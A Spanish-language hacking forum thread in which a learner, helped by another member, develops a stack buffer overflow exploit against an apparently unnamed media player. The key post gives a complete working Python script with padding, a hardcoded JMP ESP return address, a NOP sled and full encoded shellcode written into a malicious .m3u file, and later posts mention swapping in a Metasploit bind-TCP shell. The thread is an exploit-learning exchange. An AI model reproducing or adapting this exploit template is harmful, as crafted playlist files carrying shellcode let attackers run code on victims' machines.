Dudas con Buffer Overflow...

Iniciado por RocKHounD, 27 Octubre 2011, 10:51 AM

0 Miembros y 1 Visitante están viendo este tema.

Ivanchuk

ah, pense que te habia funcionado... seguis viendo en eip 0xabababba ?

La sobreescritura del eip debe variar segun el tamano del buffer, o bien el programa mismo te modifica los ultimos bytes, no te queda otra que depurarlo mucho mas.
Proba sino de generar un pattern de por ej. 256 bytes y con offset_pattern sacas el desplazamiento y haces siempre el bof con un buffer de 256 bytes (metiendo el eip donde tiene que ser), asi te evitas al menos el primer factor que te comentaba.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

RocKHounD

Bueno, te cuento mis avances...

he empezado de nuevo y creo que algo mas entiendo... vamos a ver,

pattern_offset me da 227 pero si meto \x41 * 227 veo en el stack que me quedan un par de filas por rellenar,

en cambio si agrego \x41 * 231 + "\xef\xbe\xad\xde"

si veo que ESP toma el valor 0xdeadbeef mientras que EIP tiene "\x41\x41\x41\x41" como valor...

lo he hecho bien? o EIP tiene que tener como valor 0xdeadbeef...

supongo que tendrá que ser ESP ya que es lo siguiente que se ejecuta en la pila...
:-\
Breaking The Code
http://btcode.blogspot.com

RocKHounD

#12
VALE!!!!! Conseguido porfín!!! jajajajaj


Madre mia que locura...

Comento lo que he hecho...

buffer = "A" * 227
RET = "\xE1\xFA\xDA\x75"
nops = "\x90" * 26

shellcode = ("\xb8\x20\x65\x02\x44\xdb\xc2\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x32\x31\x42\x12\x03\x42\x12\x83\xca\x99\xe0\xb1\xf6"
"\x8a\x6c\x39\x06\x4b\x0f\xb3\xe3\x7a\x1d\xa7\x60\x2e\x91"
"\xa3\x24\xc3\x5a\xe1\xdc\x50\x2e\x2e\xd3\xd1\x85\x08\xda"
"\xe2\x2b\x95\xb0\x21\x2d\x69\xca\x75\x8d\x50\x05\x88\xcc"
"\x95\x7b\x63\x9c\x4e\xf0\xd6\x31\xfa\x44\xeb\x30\x2c\xc3"
"\x53\x4b\x49\x13\x27\xe1\x50\x43\x98\x7e\x1a\x7b\x92\xd9"
"\xbb\x7a\x77\x3a\x87\x35\xfc\x89\x73\xc4\xd4\xc3\x7c\xf7"
"\x18\x8f\x42\x38\x95\xd1\x83\xfe\x46\xa4\xff\xfd\xfb\xbf"
"\x3b\x7c\x20\x35\xde\x26\xa3\xed\x3a\xd7\x60\x6b\xc8\xdb"
"\xcd\xff\x96\xff\xd0\x2c\xad\xfb\x59\xd3\x62\x8a\x1a\xf0"
"\xa6\xd7\xf9\x99\xff\xbd\xac\xa6\xe0\x19\x10\x03\x6a\x8b"
"\x45\x35\x31\xc1\x98\xb7\x4f\xac\x9b\xc7\x4f\x9e\xf3\xf6"
"\xc4\x71\x83\x06\x0f\x36\x7b\x4d\x12\x1e\x14\x08\xc6\x23"
"\x79\xab\x3c\x67\x84\x28\xb5\x17\x73\x30\xbc\x12\x3f\xf6"
"\x2c\x6e\x50\x93\x52\xdd\x51\xb6\x30\x80\xc1\x5a\xb7")


payload = (buffer +RET +nops +shellcode)

f = open("Exploit.m3u","wb")
f.write(payload)
f.close()



Y listo, nunca me he alegrado tanto de ver el calc.exe en todo su esplendor...

El jmp esp del kernel32.dll no funcionaba y he usado una de user32.dll

aunque me queda una duda... y es para que sirven los nops realmente...

cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.


Acabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?

voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??



Muchas gracias Ivanchuk por todo!

Breaking The Code
http://btcode.blogspot.com

Ivanchuk

Buenisimo!! Un nuevo exploiter en la comunidad :-)

Citar
aunque me queda una duda... y es para que sirven los nops realmente...

cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.

Los nops se usan para darle una cierta libertad a la direccion de retorno al stack, en tu caso la direccion es siempre fija (=esp despues del jmp esp en user32) y se encuentra justo despues del ret. Si le sacas los nops deberia seguir funcionando.

CitarAcabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?

voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??

Me parece raro que hayas superado el espacio reservado para el stack porque vi que probaste con un pattern_create de 1000 bytes y paso sin problemas. El error debe estar en la shellcode que le pusistes. Posteala aca para verla sino.
Meterle un pattern donde iria la shellcode no te va a decir cuanto espacio tenes disponible, imagino que eso lo podes ver en la info del ejecutable (PE), al menos en los elf aparece. Sino mas facil, anda hasta abajo del todo en la sección de stack y fijate donde termina jeje.
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

RocKHounD

Usé una shellcode que saqué con msfpayload, un windows\bind tcp por el puerto 1234

quizás no la generé bien... tengo que seguir probando.
Breaking The Code
http://btcode.blogspot.com